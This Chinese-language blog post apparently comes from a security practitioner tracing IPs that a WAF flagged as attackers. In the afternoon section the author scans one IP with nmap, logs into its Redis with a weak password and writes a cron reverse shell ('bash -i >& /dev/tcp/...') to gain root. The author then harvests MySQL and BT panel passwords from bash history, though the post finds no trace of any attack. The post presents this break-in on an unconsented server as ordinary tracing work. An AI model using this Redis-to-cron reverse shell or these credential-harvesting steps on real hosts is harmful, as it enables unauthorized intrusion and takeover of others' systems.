《Bin4xin:我的网安从业朔源事件记录》
零:起源
-
一日,某护网红队支撑群里发了一份朔源报告,鸦雀无声
-
甲方:小伙伴们接集团要求需对 WAF全流量平台 攻击ip进行朔源…
- 废佬:这…(甲方你真可爱)
-
领导1:溯源到攻击端信息是个新的领域,望小伙伴们通过此次集团安排做些尝试性学习和探索, 落实外部可借力工具和资源,[@Bin4xin废佬]也加入此次探索学习中。
- 废佬:这…(领导你真可爱)
-
领导2:文件:《全流量、WAF4月8日-4月12日攻击IP(1).xlsx》
$ more 全流量、WAF4月8日-4月12日攻击IP\(1\).csv 223.214.211.46 36.59.38.115 $ more 全流量、WAF4月8日-4月12日攻击IP\(1\).csv|wc -l 16570
- 废佬:这…(领导你真可爱)
-
-
于是废佬就开始了愉快 boring 的朔源之旅
一:上午、欢乐时光 & fofa安全工程师
鲁迅:
不会朔源的fofa安全工程师不是一个好的信息安全工程师
# 1x01:awk、split & linux
- 步入主题之前,先对这些文件进行一些简单的操作:
$ split -l 300 全流量、WAF4月8日-4月12日攻击IP\(1\).csv ips_preview_by300_ $ cat ips_preview_by300_aa|wc -l 300 $ ll total 1400 drwxr-xr-x 59 bin4xin staff 1888 4 14 20:48 ./ drwxr-xr-x+ 43 bin4xin staff 1376 4 14 20:45 ../ -rw-r--r-- 1 bin4xin staff 4548 4 14 20:48 ips_preview_by300_aa -rw-r--r-- 1 bin4xin staff 4457 4 14 20:48 ips_preview_by300_ab -rw-r--r-- 1 bin4xin staff 4481 4 14 20:48 ips_preview_by300_ac ···
这样我们就有了若干个300行ip的小文件,更方便我们筛选我们需要的ip,NEXT。
- just fofa:
# 1x02:Something Interesting
- 点击以了解 fofa安全工程师们 与 微步安全工程师们
欢乐而又短暂的上午如白驹过隙,一晃而过。
二:下午、枯燥时光 & 渗透测试工程师
# 2x01:nmap、nc & linux shell
终于:发现了一些有趣的:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:03:b9:0b:7b:ab:3f:bf:cd:60:93:57:52:4e:a6:c5 (RSA)
| 256 9d:97:b5:fb:db:92:ed:a7:e3:dd:f9:5f:86:b5:e3:b4 (ECDSA)
|_ 256 7b:65:cf:48:84:15:82:ca:be:46:3c:cf:93:63:07:f1 (ED25519)
80/tcp open http nginx
| http-ls: Volume /
| SIZE TIME FILENAME
| - 24-Feb-2021 13:21 admin/
| - 24-Feb-2021 09:27 redis/
| - 24-Aug-2017 04:55 staragent/
| - 24-Feb-2021 08:44 www/
| - 24-Feb-2021 08:44 www/htdocs/
| - 13-Apr-2021 19:44 www/logs/
|_
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Index of /
888/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: 404 Not Found
3306/tcp open mysql MySQL 5.5.62-log
6379/tcp open redis Redis key-value store
8080/tcp open http Apache Tomcat 8.5.63
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Apache Tomcat/8.5.63
8888/tcp open http Ajenti http control panel
- 事实上:这是一个宝塔面板,
8888+888
端口; - 另一个事实是:这个被WAF报成
4月8日-4月12日攻击IP
的IP, mysql & redis 均为弱口令。
$ ./redis-cli -h redis_target_ip
redis_target_ip:6379> get key
(error) NOAUTH Authentication required.
redis_target_ip:6379>
redis_target_ip:6379> auth 123456
OK
redis_target_ip:6379> get key
(nil)
redis_target_ip:6379> set xx "\n* * * * * bash -i >& /dev/tcp/your_vps_target/port 0>&1\n"
OK
redis_target_ip:6379> config set dir /var/spool/cron/
OK
redis_target_ip:6379> config set dbfilename root
OK
redis_target_ip:6379> save
OK
redis_target_ip:6379> quit
# 2x02:bash、Information gathering & Traceability incident
于是我们通过上面步骤获得了服务器权限;awesome ? next more awesome.
通过在服务器的信息搜集,似乎看到了19年刚刚接触服务器的自己,没有任何嘲讽的意思,所有人都是初学者过来的;
NO OFFENCE:-)Thanks
- 更加了解linux和linux面板,否则就会显得十分业余,不管你是Development, operation and maintenance or security practitioners;
- 匮乏的linux知识导致的过多ssh连接:
ps -ef|grep ssh|wc -l 50
- 错乱的终端与数据库命令运行:
$ cat /home/admin/.bash_history sudo grep wordpress_admin_passwd /root/env.txt /usr/local/mysql/bin/mysql -u root -p123456 sudo su rooe sudo su root sudo grep mysql_root_passwd /root/env.txt mysql alias mysql=/usr/local/mysql/bin/mysql mysql find / -name mysql.sock sudo grep mysql_root_passwd /root/env.txt msyql sudo su root grant all privileges on *.* to 'root'@'%' identified by 'pass-hidden'; grant all privileges on *.* to 'root'@'%' identified by '123456';
- 错误的linux权限分配:
$ ps -ef|grep root root 7963 1 0 Mar06 ? 00:39:39 /usr/bin/java -Djava.util.logging.config.file=/www/server/apache-tomcat-8.5.63/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /www/server/apache-tomcat-8.5.63/bin/bootstrap.jar:/www/server/apache-tomcat-8.5.63/bin/tomcat-juli.jar -Dcatalina.base=/www/server/apache-tomcat-8.5.63 -Dcatalina.home=/www/server/apache-tomcat-8.5.63 -Djava.io.tmpdir=/www/server/apache-tomcat-8.5.63/temp org.apache.catalina.startup.Bootstrap start root 23017 1 0 Mar06 ? 00:00:00 nginx: master process nginx -c conf/nginx.conf root 27803 1 0 Feb25 ? 01:17:18 ./redis-server *:6379 ···
- 匮乏的linux知识导致的过多ssh连接:
- 同样的:通过history找到面板管理密码;
- tools.py form BT panel:
$ cat /root/.bash_history |grep tools cd /www/server/panel && python tools.py panel pass-hidden $ cat /www/server/panel/tools.py if __name__ == "__main__": type = sys.argv[1] if type == 'root': set_mysql_root(sys.argv[2]) elif type == 'panel': set_panel_pwd(sys.argv[2])
- tools.py form BT panel:
所以,panel模式下对应的是面板密码设置;
至此,我们获得了 root、redis、mysql、BT panel ;而本文并炫技,我们的初衷是朔源:
- mysql:数据库仅仅是存放论坛系统管理的信息及测试信息;
- redis:配合 mysql,不必多说;
- BT panel:www、ftp、sql 等配置均为简单配置,没有参考价值。
三:总结
- 1、本篇文章的存在意为信息搜集、朔源方向上的抛砖引玉,文笔不佳;
- 2、结合 # 2x01 及 # 2x02 小结通篇结束并未发现攻击迹象、痕迹;
- 3、为何被报为攻击IP不得而知。
以上。